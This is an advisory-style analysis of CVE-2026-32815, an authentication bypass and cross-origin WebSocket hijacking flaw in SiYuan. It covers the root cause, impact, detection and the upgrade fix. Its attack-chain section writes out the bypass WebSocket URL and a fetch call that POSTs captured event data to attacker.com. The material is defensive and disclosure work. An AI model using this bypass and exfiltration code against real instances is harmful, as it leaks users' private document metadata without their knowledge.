CVE-2026-32815: 
NixOS vulnerability analysis and mitigation

CVE-2026-32815 is a Cross-Origin WebSocket Hijacking vulnerability via Authentication Bypass in SiYuan, a personal knowledge management system developed by b3log. The flaw allows unauthenticated external clients — including malicious websites — to connect to the /ws WebSocket endpoint and receive all real-time server push events, resulting in unauthenticated information disclosure. It affects SiYuan versions 3.6.0 and below (specifically confirmed on ≤ 3.5.9), and was fixed in version 3.6.1. The vulnerability was published on March 19, 2026, with a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory).

The root cause is improper authentication (CWE-287) in the WebSocket HandleConnect handler located in kernel/server/serve.go (lines 728–731). When accessAuthCode is configured, the handler normally enforces session/JWT authentication, but includes a special-case bypass intended to keep the kernel alive for the login page: any connection with URL parameters ?app=siyuan&id=auth&type=auth is unconditionally allowed. The bypassed session is then added to the full broadcast list via util.AddPushChan(), receiving all PushModeBroadcast events identical to those sent to authenticated users. Compounding this, the endpoint performs no Origin header validation, enabling cross-origin WebSocket connections from any website a victim visits. The fix in commit 1e370e3 separates auth sessions into a dedicated authSessions map, preventing them from receiving broadcast events (GitHub Advisory, Patch Commit).

Successful exploitation results in real-time, unauthenticated disclosure of sensitive document metadata including document titles, notebook names, file paths, document IDs, and all CRUD operations (create, rename, delete, update attributes) performed by authenticated users. This affects both Electron desktop deployments (listening on localhost:6806) and Docker/server deployments, and is silent — the victim receives no visible indication of the monitoring. While integrity and availability are not directly impacted, the confidentiality breach can expose highly sensitive personal or professional information such as financial documents, employee records, or patent drafts (GitHub Advisory).

A public proof-of-concept is available in the GitHub Security Advisory, including a standalone Python WebSocket client and a JavaScript cross-origin attack snippet that can be embedded in a malicious webpage. The PoC was confirmed against SiYuan v3.5.9 (Docker) with accessAuthCode configured. No user interaction beyond visiting a malicious website is required for the cross-origin attack scenario. The EPSS score is 0.039% (low probability of near-term exploitation), and there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the report date (GitHub Advisory).

1. Reconnaissance: Identify a target running SiYuan ≤ 3.5.9, either as a desktop Electron app (default port localhost:6806) or a Docker/server instance accessible over the network.
2. Craft the bypass URL: Construct a WebSocket connection URL using the authentication bypass parameters: ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth.
3. Direct unauthenticated connection: Use a Python WebSocket client (e.g., websockets library) to connect to the target without any authentication cookie or token — the server accepts the connection due to the URL parameter bypass.
4. Cross-origin browser attack: Host a malicious webpage containing JavaScript that opens new WebSocket('ws://localhost:6806/ws?app=siyuan&id=spy&type=auth'). When a victim visits the page, their browser connects to their local SiYuan instance; no Origin validation blocks the connection.
5. Receive broadcast events: The attacker's session is added to the full broadcast list and begins receiving all server push events in real-time, including rename, create, removeDoc, transactions, and savedoc commands with associated metadata.
6. Exfiltrate data: In the cross-origin scenario, the JavaScript onmessage handler forwards received event data (document titles, paths, notebook names, operation details) to an attacker-controlled server via fetch('https://attacker.com/collect', {method: 'POST', body: JSON.stringify(data)}). (GitHub Advisory)

• Network: Unexpected WebSocket connections to port 6806 (or configured SiYuan port) from external or cross-origin sources; outbound HTTP POST requests from the victim's browser to unknown external domains immediately after visiting a webpage (data exfiltration).
• Logs: SiYuan kernel access logs showing WebSocket upgrade requests to /ws?app=siyuan&id=auth&type=auth or /ws?app=siyuan&id=<arbitrary>&type=auth from unexpected IP addresses or with unusual Origin headers (e.g., Origin: https://evil.attacker.com).
• Process/Network: Persistent WebSocket connections to the SiYuan kernel from processes or origins not associated with the SiYuan Electron app or legitimate browser sessions. (GitHub Advisory)

The primary remediation is to upgrade SiYuan to version 3.6.1 or later, which separates auth-page keepalive sessions into a dedicated map (authSessions) that does not receive broadcast events (SiYuan v3.6.1 Release, Patch Commit). As interim workarounds for users unable to upgrade immediately: restrict network access to the SiYuan port (6806) using firewall rules or network segmentation to trusted hosts only; avoid exposing SiYuan to untrusted networks; and consider blocking cross-origin WebSocket connections at the reverse proxy level by enforcing Origin header validation (GitHub Advisory).

The vulnerability was reported by security researcher 0xkakash1 and disclosed via GitHub's coordinated security advisory process. The SiYuan maintainer (88250) promptly addressed the issue with a patch released in v3.6.1 on March 17, 2026. The advisory was picked up by CVE tracking services and Linux security announcement lists, including openSUSE security announcements. No significant broader media coverage or notable social media debate has been identified beyond standard CVE tracking channels (GitHub Advisory).